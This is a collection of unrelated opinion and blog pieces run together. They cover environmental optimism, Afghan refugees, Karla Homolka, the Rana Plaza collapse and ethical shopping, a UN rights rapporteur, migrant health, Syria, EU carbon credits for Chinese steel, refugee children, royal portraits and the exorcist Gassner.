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Whether he's taking on the deceptively dangerous precautionary principle, what he considers the illusory cancer epidemic or the environmentalist movement's incongruous rejection of the broad scientific consensus on the safety of modern biotech crops, Bailey examines the evidence dispassionately and finds that the case for doom is thin.

Even when it comes to climate change, Bailey doesn't think we're doomed. He does think that the balance of the scientific evidence indicates that man-made global warming likely poses a significant problem for humanity, but he believes that human ingenuity can most likely solve that problem well before the end of the century.

What we shouldn't do, in his opinion, is try to deny the world's poor access to modern fuels.

What we shouldn't do, in his opinion, is try to deny the world's poor access to modern fuels, oppose safe hydraulic fracturing for natural gas or shut down all discussion of nuclear power, as many environmentalists do.

Instead, he is in favour of ramping up government spending on research and development on zero-carbon forms of energy -- if only because he thinks that widespread government interference in energy markets is here to stay one way or another.

But most of all, Bailey thinks that the best way to help future generations deal with climate change is with policies that encourage rapid economic growth.

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And he appreciates that free markets are the best way of delivering that growth: "What well-meaning activists and UN bureaucrats are trying to do is centrally plan the world's ecology. History suggests that that would work out about as well for humanity and the natural world as centrally planned economies did."

In the end, though, he is hopeful, because where bureaucrats will fail to bring about environmental renewal, human ingenuity will succeed.

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Freed Canadian journalist Mellissa Fung, left, is seated next to Amrullah Saleh, the head of the Afghan National Directorate of Security, after being released in Kabul on Nov. 8, 2008. (Photo: Intelligence Service Office handout/Reuters)

Eight years ago, the National Directorate of Security in Afghanistan saved my life. The director at the time, Amrullah Saleh, engineered an exchange that bought me my freedom. I was being held hostage by a gang of criminals who were threatening to sell me to the Taliban. Saleh figured out who they were and arrested the ringleader's mother.

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I will forever be in his debt, but I was also impressed by the smarts and savvy of this young intelligence chief. If Afghanistan had politicians of his character, I thought, the country's future was in decent hands.

A couple years later, Saleh was fired by former president Hamid Karzai after a rocket attack hit near a loya jirga, or peace council, that Karzai was attending. Last December, Saleh's successor, Rahmatullah Nabil, resigned in a very public fashion, openly disagreeing with President Ashraf Ghani, who had traveled to Pakistan to try to jump start peace talks with the Taliban.

Nabil, like many Afghans, believed that Pakistan is the problem, giving the Taliban support and space to plot their attacks.

Five months later, the director's post is still vacant. President Ghani and CEO Abdullah Abdullah have been unable to agree on a candidate, just as they have been unable to agree on much of anything.

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Afghan policemen keep guard at the site of the Taliban attack in front of Afghan intelligence office in Kabul on April 19, 2016. (Photo: Haroon Sabawoon/Anadolu Agency/Getty Images)

So when the Taliban launched their spring offensive this week near the NDS headquarters, killing 64 people and wounding more than 300 others, mostly civilians, it underscored what many Afghans have come to believe: their own government is not just unable to protect them, it's barely functioning.

"Government weakness," my friend and Afghan MP Fawzia Koofi says. "The government is not able to demonstrate strong leadership. People do not feel safe."

Little wonder, then, why so many Afghans are desperate to leave. On my last visit in November, I met Gen. Sayed Omar Saboor, the country's passport director. He told me that every day, 1,500 Afghans were applying for their passports, desperate to leave the country.

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Roughly 150,000 Afghans left in 2015 alone, many of them paying smugglers to help them navigate the perilous journey to Europe. Those I spoke with at the passport office all echoed the same reasons for leaving: the country wasn't safe, and they couldn't trust their government to protect them from the Taliban.

"Kunduz people are waiting for death and it's just awful." -- Marzia Rustami, Activist

Recently, the Long Wars Journal estimated that the Taliban control -- or are at least fighting for control -- of nearly a fifth of the country, with Afghan forces stretched to their limits and taking heavy casualties. When Kunduz fell last October, the Taliban went door to door with a hit list of women activists, politicians, and journalists -- an eerie echo of the 1990s when they ruled the country.

In the last few weeks, the Taliban are once again lobbing attacks on the outskirts of Kunduz, its residents are bracing for the worst.

"They are just outside the city," Marzia Rustami told me in a message this week. "Kunduz people are waiting for death and it's just awful."

Rustami would know. She's a women's rights activist whose name was on that hit list in the fall. She managed to escape to a safe house in Kabul. When the Afghan forces wrested control back from the Taliban, she returned, only to find the government's control of the city -- and province -- tenuous.

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"It's where my family, my colleagues are," she replies when I ask her why she doesn't leave now. "I have nowhere else to go."

A relative weeps over the coffin of a victim killed in a Taliban truck bomb attack on April 19, 2016. (Photo: Shah Marai/AFP/Getty Images)

Afghans hoping to escape the violence are finding that there really is nowhere to go. As Europe struggles to settle hundreds of thousands of refugees -- mostly Syrians -- successive governments have deemed Afghanistan -- and the country's capital, Kabul, safe enough to send deportees back to.

Macedonia, Croatia, and Serbia have all hung a "NO AFGHANS" banner at their borders. Germany and Great Britain continue to deport Afghans back to Kabul, even as the United Nations noted that civilian casualties in the country continue to rise.

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A record 3,500 Afghans were killed in 2015 and 7,500 injured, surpassing the previous numbers in 2014.

Grim tally

This week's slaughter will add to the grim tally, and the Taliban's spring campaign is only beginning. Fourteen years after the U.S. and its allies invaded the country, no one seems to want to admit that Afghanistan is a flailing state -- which helps explain why no country will accept its refugees.

Peace is unlikely to come to the country anytime soon, and the Taliban have proved their unwillingness to negotiate a settlement that President Ghani seems convinced is the solution; quite the opposite, they now seem poised to declare all-out war. But until there is at least some discernible cessation of violence, Afghans deserve the opportunity to escape the ever-present risk of dying.

The 1951 Refugee Convention defines a refugee as someone who has to move to preserve his or her life or freedom, and who have no protection from his or her own state. That sounds a lot like Afghanistan today.

The UN Refugee Agency goes further: if other countries do not let them in, it says, and do not help them once they are in, "they may be condemning them to death."

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The truth is I don't know what I would do.

But this is a reality for families living in Chateauguay, Quebec, a suburb of Montreal. The news broke earlier this week that Karla Homolka has been living in the Quebec community under the name Leanne Bordelais with her three school-age children. Parents from the community are outraged, and perhaps understandably so.

When you Google Karla Homolka, the Wikipedia entry under her name has the subtitle "Serial Killer" because that is what she is. The husband-wife team of Paul Bernardo and Karla Homolka dominated the headlines here in southern Ontario (and made international media waves as well) in the early '90s.

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The details of their crimes -- the rape and murder of at least three teenage girls, including Homolka's very own sister -- and the subsequent trial was reported widely. Anyone in Canada who is old enough to remember feels a mixture of disgust and horror at the mention of either of their names.

While Paul Bernardo will likely remain in prison for the rest of his life, Homolka struck a plea bargain with the crown prosecutors and was sentenced to a mere 12 years in exchange for testifying against Bernardo.

Video evidence came to light later that showed Homolka was not the victim she claimed to be and that she played an active role in the rapes and murders. The media then dubbed the crown's plea bargain the "Deal with the Devil." Also note that while Bernardo was already a serial rapist (the Scarborough Rapist those of us living in Toronto will remember), he didn't kill anyone until he teamed up with Homolka.

So in 2005, after serving 12 years, Homolka was released from prison. She was 35 years old. She married her attorney's brother and had a baby in 2007. I had my first baby in 2006 and I have to marvel at the parallels. When my son was born I felt like I still had my whole life ahead of me. Karla Homolka was released from prison with her whole life ahead of her.

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So now Homolka has had three children in total, living under various pseudonyms, and moving from one place to another whenever the media track her down. Parents from the community where she is now living are livid.

Here are some samples of quotes from this Montreal Gazette article: "A child should not have to pay for a parent's crime, but that's unfortunately what will happen." "I'd like parents to step up and make a stink." "I don't deserve to be uncomfortable sending my kids to school. People like that don't deserve second chances." "I know her kids have got a right ... but not in our neighbourhood."

And, man, isn't that harsh for the kids? Despite their mother's vile past, they still have the right to go to school and live without constant harassment. My fellow Toronto blogger and mom of three, Kat Armstrong, says, "Even if she is a monster, her kids don't know that and they love her." Armstrong thinks it's the kids who will wind up being punished. "To be honest, whether I agree or not with her choice to procreate, anything that happens will be punitive against her children and not her necessarily. I would allow her kids to play with mine. I would not allow her to drop them off at my house, however."

On the one hand, I agree with Kat. On the other, my gut tells me to keep my kids far away from that woman, and I can't blame parents for trying to do just that.

It's a miserable situation for those children, to be sure. But the root of the problem is really that their mom is a serial killer. That seriously sucks for them. At some point, they're going to figure that out and that's got to mess a person up, like, big time.

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In the meantime, I guess they'll move again. They can't stay where they are. Should the media hunt Homolka down again? Do we have the right to keep tabs on her? I honestly don't know. On the one hand, as long as she isn't in jail, doesn't that have to include the right to live freely? On the other, I would definitely want to know if she was living in my community and perhaps the media are doing a service by outing her.

What do you think?
World Vision

By Doug Blackburn, World Vision Canada

"We are all complicit," said World Vision Canada's former president Dave Toycen, when visiting the place where the Rana Plaza building stood. Photo/World Vision

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Three years ago this Sunday, the Rana Plaza commercial building collapsed in Bangladesh. More than 1,130 people died and thousands more were injured. Structural cracks had appeared days earlier, and those who had a choice would not enter the building. But many garment workers were forced to report for duty.

In the three years since Rana Plaza, progress has been slow, but building inspections are happening and safety requirements are being implemented. And this past June the Rana Plaza Donors Trust Fund, which provides compensation to survivors, reached its goal of $38 million in corporate and other donations. To their credit, Canadian companies HBC and Loblaw both made contributions to the fund.

The building collapse took place on the other side of the world yet in every way that matters, Rana Plaza was our own backyard. The workers there produced fast-fashion items for international brands, including Canadian and U.S. companies. I've purchased clothing for my family that was made in Bangladesh and similar low-wage countries.

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In the days following the collapse, hundreds of people helped release friends and loved ones from under the rubble. Many of these families had counted on the low-paying garment industry to help feed their children. Photo/World Vision

A complicated balance

When I am shopping, I want to do what is good and helpful, but I know it's complicated.

Despite low wages and insufficient regulation, the garment industry in Bangladesh has been the key contributor to a growing economy that has helped millions of families get their first foothold in the long climb out of extreme poverty. In 2013, Bangladesh exports were worth nearly $400 billion, having almost doubled in just four years. Garment exports accounted for about 90 per cent of that overall value.

At the same, much of the work is too often unsafe and unfair. A study released just before the tragedy showed garment workers in Bangladesh to be among the lowest paid in the world. Their earnings, measured in real purchasing power, had actually declined two per cent from 2001 to 2011, to just $117 a month.

Bithi is one of the thousands of Bangladeshi children piecing together designer jeans that she'll never be able to afford. Every day, she helps create a minimum of 480 pair of pants, for the pay of about $1.30 per day. Photo/World Vision

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For garment workers living near the capital city of Dhaka where most of the factories are, this kind of pay is not nearly enough to support a family. It's this kind of situation that forces children out of school and into the workforce.

Taking our values to the shopping mall

So, how can I be a more conscious consumer, aligning my values of caring for people and the environment with my purchasing decisions? As I ask this question, I am aware that research has shown that we can make consumer choices in a third of a second -- so I know that my decision-making criteria has to be simple and almost second nature.

Here are four consumer practices I try to incorporate.

1) Buy certified:

I start by knowing I don't have to figure it all out myself! Having researched ethical certifications in my work with World Vision, I am confident that my values are reflected in those little labels -- like Fairtrade and Rainforest Alliance.

I know, for example, that many of these certification programs, including the two named, prohibit the use of child labour. And I know that certified producers and workers are generally better off than they would be otherwise. A 2014 academic review of the empirical evidence around fair trade found that "Fair Trade farmers do on average receive higher prices, have greater access to credit, perceive their economic environment as being more stable, and are more likely to engage in environmentally friendly farming practices."

The authors rightly note that the impact of fair trade is limited, compared to the size of national economies we're dealing with. For me, this is all the more reason to seek out those little labels, and help grow the fair trade way of working. Why would more companies go fair trade if no one's buying?

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2) Buy less:

Ethical certifications don't cover everything that I buy. In this case I default to buying less and buying local, where possible. Buying less means our family treads more lightly on the planet and resists a global economic system that is obviously broken.

A few simple questions have become almost automatic:

"Do I really need this or am I responding to a passing urge?"

"Can I keep using, or repair, something I already have?"

"Can I buy it secondhand -- saving an item from landfill and saving some cash for a better use?"

3) Support local businesses:

I know that global trade is critical to raising many poor families out of poverty -- as in the Bangladeshi families noted above. But the economic model I want to see more of is one where strong local economies around the world are meeting people's needs in a sustainable and healthy way.

Globally, I support this model through donations and advocacy. And at home I try to support strong healthy communities by making more of my purchases from local businesses. A study in British Columbia found that purchasing goods from local suppliers can have as much as twice the benefit for the local economy as buying from international chains.

4) Speak Up:

Being a conscious consumer doesn't stop at the wallet. It's a case of putting my mouth where my money is. Governments and businesses regularly hear from lobby groups and shareholders on what they value. When we speak up as caring consumers and citizens, they will also hear what is valuable to us.

It takes courage to ask a retailer to stock ethically certified items or to ask government to do more to reduce child labour. But if I want to see bigger change, I need to also use my voice as part of my overall consumer behaviour.

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Rana Plaza was a half a world away, yet as near as the clothes we're wearing. Taking steps to be a more conscious consumer is one way to bring us all closer together.

Ready to take up the challenge?

There are a number of great ideas and tools to help align our consumer behaviours with our values. World Vision has gathered a number of these in a two-week Conscious Consumer Challenge as part of the No Child For Sale campaign.

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A Sun story today on a UN expert's criticism of the UK is sadly predictable in its framing and content. Here's how the Sun leads its article:

A MEDDLING United Nations Human Rights chief has sparked fury by demanding Britain waters down vital counter-terrorism and anti-strike laws. In the latest lecturing by unelected UN officials, Kenyan Maina Kiai also claimed Britain was encouraging despots around the world to crack down on democracy and human rights. The grandly-titled "Special Rapporteur On The Rights To Freedom Of Peaceful Assembly And Of Association" launched a series of attacks on Government policies after a three-day visit to the UK.

Meddling? Isn't this the typically shrill, hyper-defensive language you'd expect from state-run publications in Iran or China?

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Unelected? Well, he's an independent expert who's been appointed by the UN, of which the UK and the vast majority of the world is a part. The UN's Special Rapporteur on Counter Terrorism and Human Rights is Ben Emmerson, who is British. I'm sure he also gets the odd brickbat about being grandly-titled, unelected and even meddling when he tries to deliver his findings in places like Egypt, Israel or Turkey.

But back to the Sun article. Elsewhere it quotes Philip Davies MP saying:

"This lecture on human rights by somebody from Africa is staggering. He should clear off back to his own continent to look at some of the grotesque abuses of human rights that take place on a daily basis led by people like Robert Mugabe."

Again the "lecture" was actually the man doing his work (an unpaid position at the UN by the way). The rest? Well, this is just an insulting attempt at a bit of "But-what-about-ery?" There's a cheap politics to the business of pretending it's OK to dismiss criticisms because of supposed faults on the criticiser's side. Here it's not even that logical, as Davies lazily conflates Maina Kiai, a Kenyan national, with the whole of Africa and with Zimbabwe. What on earth ....? Mr Kiai doesn't speak for the government of Kenya, still less that of Zimbabwe or the whole of Africa. Davies' remarks are bizarre.

And not only bizarre, but wildly out of step with the far more sober reasoning of people at the Foreign Office and elsewhere within Government who (to some extent) value and understand the significance of human rights. On the same day that Mr Kiai was outlining his concerns (about aspects of the "Prevent" programme, the forthcoming Counter-terrorism bill, the Lobbying Act, and the Trade Union Bill) the Foreign and Commonwealth Office published its annual Human Rights & Democracy report. This is the Government's own assessment of how human rights, including freedom of assembly, are under attack in countries such as Cambodia, Burma, Russia, the Democratic Republic of Congo, Bahrain, Turkey and many more.

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It's an important principle in a modern, inter-connected world that countries around the globe each build in human rights monitoring and engagement into all their foreign relations. The bottom line is that what each country does gets noticed by almost everyone else, even more so when you're a relatively major player on the world stage like the UK.

Bad behaviour can often get seized on as justification for another country's similarly poor behaviour. For example, see this Al Jazeera interview with the Ethiopian Prime Minister Hailemariam Desalegn who cites UK anti-terrorism laws when seeking to justify his government's curtailment of human rights. There's nothing wrong with Ethiopian law, he reasons, as it's modelled on British laws. Ethiopia's jailing of bloggers is therefore fully justified, he claims.

Or see how the Kenyan President Uhuru Kenyatta has used the UK Government's (highly politicised and unjustified) attacks on the Human Rights Act to justify why he shouldn't face justice at the International Criminal Court.
We've all seen the news footage, read the reports and seen the photos. We are in the midst of a migrant crisis and it is impossible to ignore the stark conditions thousands of people are facing in desperate attempts to find refuge and safety in a foreign land. What we are witnessing is not just a crisis of borders; it is a crisis of health.

For those of us working in health care, caring for those in need transcends issues of nationality and practicality: the migrant crisis is far from the first time nurses have needed to respond to a global health issue. During conflict, natural disasters and global epidemics - nurses are there. And what the photos and the footage can't possibly demonstrate is the unimaginable acts of violence and torture, the terrible living conditions, poverty and total collapse of health care infrastructure that so many are fleeing from.

Each and every migrant is at heightened risk of mental and physical health problems, and these needs must be responded to. Migrant and refugee health is an important topic crossing a wide range of issues. From unaccompanied children struggling with psychological trauma to victims of Female Genital Mutilation and torture, migrants often have complex health and social needs.

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The mass global instability and migration we are experiencing has had a ripple effect across the world and elevated demand for health care throughout Europe. There are few nurses working in any environment that won't have felt the impact - directly or indirectly.

It is critical we rise to the challenge before it escalates out of control. In times of crisis, helping people to access healthcare is even more vital - prevention is far more economical than cure. Timely diagnosis and treatment for this tiny subset of our population will save the NHS money in the long term.

While there are some systems and NGOs in place, migrants face multiple barriers to healthcare access. Aside from not understanding the system, many get lost in the bureaucracy of attempting to obtain any form of rights to healthcare or mistakenly fear that they will be arrested if they try.

At a recent RCN Refugee Health workshop, a range of experts illustrated how nurses can improve our response to the health problems migrants and refugees are facing.

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A key example came from Dr Barbara Howard-Hunt from Birmingham City University, who has worked with Somali refugee women in Birmingham to understand the impact of forced migration. Her research found that it is easy for people to assume that the needs and expectations of refugees are all the same and that this can be problematic.

Rather than supporting integration into British society, overarching social policies may, in some instances, inadvertently reinforce the barriers that prevent Somali refugee women from adapting to their new environment and rebuilding their lives. At best, this 'one-size-fits-all' approach, is a compromise.

The result is that many Somali women remain trapped in a downward spiral of loss and trauma unable to take up the services available to them. Nurses, as the advocates of many of these women, must recognise that although there are similarities between the women, there are also differences and they have the ability to individualise and facilitate their care.

This work is just one example of how modern health and social care services need to practice within a cultural frame in order to help migrants and refugees adapt to their new environment and rebuild their lives.

With nursing staff crossing boundaries between hospital and the community, home and abroad, and practical and emotional needs, there is an opportunity to make a real difference.

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I want to tell you about the Girl from LA Although I don't really know her, there's a link between us. And actually, that same link might also exist between you - who are reading this - and I.

July 2014. I am in Portland, Oregon, for an illustration conference that brings together people from all over the world. Me, the girl from Montreal, arrive with my suitcase, my books and a dream in mind: to find a publisher for my latest book, Thin Slices of Anxiety. I am an anxious person. And with this book, I chose to share my experience by turning my anxiety problems into images.

Thursday evening. I am ready. I am at my table. Sixty illustrators came to showcase their work to people from all around who wish to discover new talents, new inspirations and meet new people. I am nervous. There are hundreds of people walking around. Some of them simply glance and then continue to walk. The crowd is dense. A person stops, looks at the books laid on my table, leafs through my portfolio. She smiles politely and resumes her walk. I also smile at people. I feel a little silly, standing behind that table on which my work is displayed. I am subject to their judgment; I want them so much to like my work. If they do not like it, I feel that it will be me as a whole that they reject. And all these people who pass me by without looking only increase my insecurity. I wonder if my work can move these people whose reality is so different from mine. Will my work reach a broader audience or will it only meet success within the confines of the province of Quebec?

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A young woman arrives. Like many others, she stops, takes the iPad that serves to showcase Thin Slices of Anxiety. She starts scrolling. Looking at every image. Reading the short sentences. "Oh my God! This is me" ... she exclaims with wide eyes. She keeps going. And from page to page, she recognizes herself and expresses it out loud. She gives me confused looks. I watch her reaction closely because I am intrigued. She laughs, she is amazed that I managed to put in pictures what she feels deep down in her guts. She reads the book to the last page with the same emotional intensity. A question burns my lips: "Where are you from?" "I'm from L.A.", she replies. I feel transported right on the spot. It is as if the thousands of miles that separate Los Angeles from Montreal had just been erased. Someone on the other end of the continent feels exactly like I do. My torments, my deep concerns, my character traits, all of which I once believed so intimate have something universal in the end. Something that transcends geographical and cultural boundaries. And that takes a crazy load off me. It is as if the burden had been spread on many shoulders. It makes it feel lighter. Anxiety is not just "me and my problems"; it is all of U.S, all over the world. And this is something so utterly comforting to know that deep down, it is just part of human nature.

The Girl from LA resumes her walk. My eyes fall on a woman who stands right before me. Her nametag reads "Chronicle Books". I greet her with my best smile and hold out my hand: "Hi! Would you like to see my book?"

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This week Syria has hit the headlines for both hopeful and frustrating reasons. On Thursday, 65 trucks of aid reached Al Rastan for the first time since 2012, and the day before Red Crescent evacuated more than 500 people from Madaya, Zabadani, Foua and Kefraya. In the same week the peace talks resumed, but are struggling to get back on track. Meanwhile in Syria, the struggle to survive goes on - and the violence, which continues to displace Syrians again and again.

There's a perception amongst some in the outside world that the situation in Syria is better now. It's not. The 'cessation of violence' does not, as some report, equate to a ceasefire. Even in areas that have experienced a respite from the constant thud of mortars, the eerie silence that remains reveals another problem. How do people come back and pick up the pieces?

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Travelling around some parts of the Old City of Homs last week, I saw streets that were decimated and empty. Areas that had been bustling markets and residential streets were utterly devoid of people. I've worked in many other disaster zones, such as Haiti or Gaza, where there may be widespread devastation but you could still hear the sound of people, living, working, rebuilding. Parts of the Old City feel like a ghost town or a film set after everyone has packed up and left. You can't believe that anyone could ever have lived there when you see the scale of the damage.

If you google Homs before and after, you can just about make out where a roundabout was, or where a clinic or school was. But barely. If you were a student at that school or a former patient at that clinic, and you returned home to see that level of devastation I wonder how your mind could make sense of the destruction. Seeing the lack of life there was very shocking. I couldn't help thinking it will take years to rebuild.

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But even in most decimated places there are determined Syrians working to rebuild their lives. In the Old City I found a former resident, a baker, who had set up a business in the midst of devastation. The Syrian Red Crescent, with support from the Red Cross, had provided a basic kitchen oven, utensils, and the resources that he needed to get his bakery working again. I asked him if he had many customers in the middle of a bombed-out city. He said yes - despite the fact that only around a thousand people had returned to that area, people wanted some return to their normal routine, to buy their daily bread.

Syrians - where they can, where it is safe enough to do so - are determinedly repairing sewers, water pumping stations, electrical supplies. In Aleppo, solar panels have been installed by the Syrian Red Crescent and ICRC to power some local water supplies. This is not recovery - it too early to use that term and too many places where fighting continues or has increased in intensity. But it shows the resilience of the Syrian people. A true ceasefire and proper support would allow more of this work to continue.

Young people in Syria are working on more high tech innovations to help their communities. One Red Crescent volunteer, a student in software design, recently created an app to monitor aid deliveries, tracking from the point a family registers for help, through to how the aid reaches them and from what source. But ultimately, none of these families want to be dependent on aid in the first place - every Syrian wants to use their own particular skills to rebuild their country.

Hopefully the peace talks will continue to move Syria towards an end to this devastating conflict. But we have to ask - what next? And - wherever it is possible - we must support those who are rebuilding their communities now.

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Despite all the recent turmoil over the UK steel industry and meetings in Brussels today, the reality is that the European Union has actually been subsidising the Chinese steel industry for years, in payments hidden amongst its efforts to combat Climate Change.

Using complex methods of carbon credits and carbon offsets, the EU devised rules on climate change ended up paying Chinese steel manufacturers billions to upgrade their steel mills and other energy intensive industry.

According to the analysis company, European Insights, almost 1.5 billion was paid to over 90 steel plants in China with the purpose of modernising them to consume less energy, and making the plants more efficient. Taken with the downturn in Chinese trade and the need for them to reduce world market prices to sell their product, the output of these mills has flooded onto the European market making steel products artificially cheap and endangering thousands of jobs in the UK. One plant alone, Anshan Iron and Steel, received a payment of 150 million to help pay for the installation of up to date equipment and replace the old inefficient Communist era machinery.

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The money came from the EU's self-claimed flagship Climate Directive, the Emission Trading System, and paid for by power and industrial companies in the EU. who are as part of their industry emitters of carbon dioxide. This system forces big carbon emitters in Europe to buy carbon offsets, known as Certified Emission Reductions. They can buy these on the "carbon market" but companies in China, for example, who could show they intended to reduce their own levels of carbon emissions, would qualify.

The system then allowed Chinese steel producers to exploit a loophole that allowed their modernisation to be financed by the sale of these credits, as they received upfront payments of billions of Euros.

European installations that involve high energy consumption also can participate in this carbon trading market, but at a much lesser scale. Effectively around 12,000 European installations, including power stations and steel mills, were forced by the EU into subsidising Chinese industrial growth and development in a trade worth up to a total of 45 billion.

The Think Tank, European Insights, said: "These Chinese upgrades have now, sadly, assisted in record levels of Chinese steel production and are contributing to the low steel price that is endangering jobs in the UK. The system of carbon credit trading is highly complex, and we uncovered 91 individual steel mills in China that received funding of this nature. We estimate that the total paid to them was 1.4 billion."

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The EU approach to Climate Change is another example of the unintended consequences associated with policies made at an EU level. The initiative was well-meaning maybe, but failed totally to anticipate the consequences on world trade and impact on EU member states. Most damaging is that EU is also terribly slow to ameliorate the negative effects of its own policies.

The full report by European Insights can be found here:
Anadolu Agency via Getty Images

It is often easy to despair at each piece of news which emerges about the European refugee crisis. The Government is trumpeting an announcement on how it plans to protect refugee children caught up in this crisis, but those working on this issue know too well that the promises made fall short of addressing the needs of the most vulnerable on our doorstep.

Refugees fleeing war, torture and persecution are making terrifying journeys only to find country after country closing their borders. We stand witness to European political leaders signing off a deal that puts border security above saving lives. All the while we see images of newborn babies being washed in puddles, children running from teargas and grown men weeping at their children's feet.

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But there is a glimmer of hope. Last month, the House of Lords voted by a majority of over 100 to support an amendment to the Immigration Bill that could transform the lives of thousands of children who are currently alone in Europe.

The amendment was tabled by Lord Dubs - himself rescued from the terrors of war via the Kindertransport, which relocated 10,000 lone children from Nazi persecution. As the world faces the biggest movement of people since the Second World War, he is calling on the UK government to follow its proud tradition of showing humanity in the face of horror by putting into law our call to relocate 3,000 unaccompanied children who are currently in Europe. On Monday, the House of Commons will decide whether to accept or reject Lord Dubs' plea.

Following this political and public pressure, the government made a welcome announcement at the end of January. This set out significant commitments to do the following: improve support for children in Greece and Italy; speed up family reunification for children in Europe; and resettle children from conflict zones located in the Middle East and North Africa. This was a huge win for thousands of vulnerable children but stopped short of the UK offering safety to children alone in Europe who cannot be reunited with family members.

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On Thursday, the Government gave further details of how those January promises could be fulfilled. But let us be clear, these commitments are not new and still fail to offer sanctuary to thousands of vulnerable children who remain alone in Europe.

95,000 lone children made asylum applications last year - almost four times higher than estimates suggested. Unfortunately, reaching Europe does not mean children are safe. Europol (the European Union's law enforcement agency) reported that 10,000 unaccompanied children went missing in Europe in 2015 after being registered with the authorities. We know from our programmes that lone children are in danger of falling prey to people traffickers and being forced into prostitution, child labour, and the drugs trade.

Recent deaths of children who have tried to make their way across the Channel show just how desperate the situation is. After three months waiting alone in 'the jungle' in Calais, 15-year-old Masud lost faith that his claim for asylum in Britain would ever be heard. He stowed himself away on a lorry hoping to be reunited with his sister already in the UK. Concerned the lorry might not be headed for the Britain, he looked out the top of the lorry as it passed under a bridge and tragically died of a head injury.

This month another boy, 17-year-old Mohammed Hassan from the Kurdish region of Iraq, was killed when the lorry he stowed away in crashed. He was trying to reach his uncle in Manchester.

As long as we continue to turn our backs on children in Europe, we will continue to see more of these tragedies. We are failing children whose only wish is to grow up in safety. This is an utter scandal when a solution is within our reach.

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The Queen's 90th birthday week has produced a mixture of deferential reporting and, as can be expected for someone approaching a century, an opportunity to think about the times that she's reigned through - our current Elizabethan Age, as the cliche goes.

For me, the most powerful stimulus for this kind of thinking was the publication of the official 'Four Royal Generations' photograph. The picture shows Prince Charles, the Queen and Prince William seated, all smiling at the camera with young Prince George standing on a pile of books between the Queen and William.

My immediate association was to the other Four Royal Generations photograph of 120 years ago. A seated Queen Victoria gazes down at her great-grandson, the new royal baby. Behind Victoria stands her grandson (the future George V) and her son (Edward VII). The baby cradled in her arms was of course to become Edward VIII (or Duke of Windsor).

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Perhaps more striking than the similarity between the two pictures - the formal composition, the gender distribution down the generations, the attempt by a royal family to present an image of continuity, the rarity - is the lack of any reference to the older photograph in this week's reporting. Across the board - newspapers, TV, radio, Twitter, there's no mention of it. What could explain this?

We may not know, but two factors come to mind. First, our collective memory seems to have got shorter and shorter. We don't seem to know or remember our past. Second, for those who do know the history, it's a case of the elephant in the room.

Start comparing the two images, and you end up comparing the individuals. Substitute Victoria for Elizabeth II, Edward VII for Charles, George V for William and err, the Duke of Windsor for George.

The main PR embarrassment of course, relates to the less desirable traits of the 1890s royal family - Edward VII and his mistresses, George V and his passion for stamp collecting, not to mention the purported political sympathies of Edward VIII. Readers will no doubt make their own judgements about the individuals in the 2016 picture.

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Individual comparisons aside, the similarities between the two eras are uncanny. At first glance, the 1890s picture portrays a certainty about Britain's place in the world which contrasts unnervingly with our situation today. Queen Victoria exuded confidence as head of an empire which still had a quarter of a century's expansion to go. Not that similar to our current financial and political jitters, you may think. Little did the royals in the picture know however, that the country was close to the Boer War, or even start to imagine the horrors of World War I.

The youngest in the earlier photograph - Edward VIII died in May 1972, four months after the UK signed the Treaty of Accession to join the European Community. This week's photograph has the spectre the EU membership referendum looming over it.

Royal portraits are meant to ensure stability and continuity. But the people in the original picture were soon to look east. A couple of decades later, George V and his two cousins - the Kaiser and Tsar were the leading monarchs in Europe, their countries fighting a bitter war. George was to make the callous (or wise, depending on perspective) decision to decline the Tsar and his family refuge in the UK.
*Nikolas Oktaba is a Gates Cambridge Scholar doing an MPhil in Classics at the University of Cambridge. Picture credit of Johann Gassner c/o Wikimedia.

It is tempting to suppose that 'science' or 'reason' have unseated the rule of 'myth' or 'magic'. However, it is important to remember that fantastic interplay exists between the rational sciences and magic. Beliefs which we might brand as naive and irrational today have actually contributed towards the advancement of scientific knowledge.

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On March 14, American Congressmen used this reasoning to introduce a resolution enshrining magic as a "national treasure", noting that "many technological advances can be directly traced to the influential work of magicians". They argue that magic encourages people to interrogate their beliefs and is also a useful educational tool for children with disabilities. One Representative asked why the House GOP believes in magic but not global warming. Many have expressed incredulity that magic should be the focus of a resolution in the House of Representatives, conflating the magic hats of party magicians with the witches of Salem or Harry Potter. Whether these tricks facilitate children's development is irrelevant to their argument, as it is far too easy to reduce it to yet another instance of, 'The House GOP is being utterly ludicrous'. While it is true that the House GOP ought to do more to address global warming, and as soon as possible, this derision splinters those watching and those directly involved into uncomprehending factions bent on discrediting their supposedly juvenile opponents.

Johann Joseph Gassner

We like to think that we are more reasonable than those who came before us, but reason and logic have never been fully secure against superstition and belief. Perhaps that is what makes the life of Johann Joseph Gassner (1727-1779) so compelling.

During his heyday, Gassner is said to have healed thousands of people from all walks of life. The image of so many people going to see a Catholic exorcist may not sit well with our initial perception of the late eighteenth century. After all, the 1770s were the decade of Adam Smith, the final volume of Diderot's Encyclopedie, and the American Revolution. How, then, could an exorcist command such attention?

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He was a consummate showman and a charismatic orator. He believed that devils could cause all manner of disorder, though not as the result of witchcraft. In fact, possession did not even have to be characterized by symptoms that we are familiar with from The Exorcist. Demons could disguise themselves as nature so adroitly that sometimes only an exorcism could heal even the most banal ailments. If a stubborn cold kept returning, then it could be caused by a demon. Gassner also claimed that some illnesses, being natural-but-not-demonic, could not be helped by his treatment; he could not cure a damaged Achilles tendon, but immediately set about expelling demons from people afflicted by gout.

By 1775, he was already famous through all of Germany and parts of France. His treatment was a combination of more orthodox methods of exorcism with touching afflicted body parts. This practice led him into direct conflict with Dr. Mesmer. In 1774, Mesmer discovered that he could manipulate certain forces within his patients' bodies in order to heal them. He called this treatment 'animal magnetism'. He quickly became famous in Austria, even impressing Mozart with his healing touch. Mesmer's treatment was largely similar to Gassner's, and Mesmer accused the latter of not only using his methods, but also taking advantage of people's superstition to market it.

Ironically, Gassner fared better than Mesmer in the face of concerted scientific enquiry. In 1775, he passed tests by four professors of the University of Ingolstadt with flying colors. In 1784, a commission including Benjamin Franklin condemned Mesmer's methods. Gassner did, however, face criticism for the social and fiscal effects of his popularity. In fact, many Catholics who voiced their opposition to Gassner did so on these, not theological, grounds.

Popular interest

Anything that caused social disorder was immediately suspect. Gassner attracted thousands of commoners, and the prospect of so many commoners gathering for any reason was frightening to absolute rulers. Gassner's campaigns also had economic ramifications. Books and pamphlets about him sold in the thousands, and unscrupulous pharmacists sold all manner of potions and medicines supposedly blessed by him. Perhaps the worst result of Gassner's travels, according to some authors, was that wealth was flowing from surrounding imperial territories to regions such as Ellwangen when they were more desperately needed in their respective homes.

